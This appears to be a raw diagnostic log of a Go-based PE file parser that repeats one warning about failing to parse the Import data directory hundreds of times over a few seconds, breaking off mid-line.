level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading 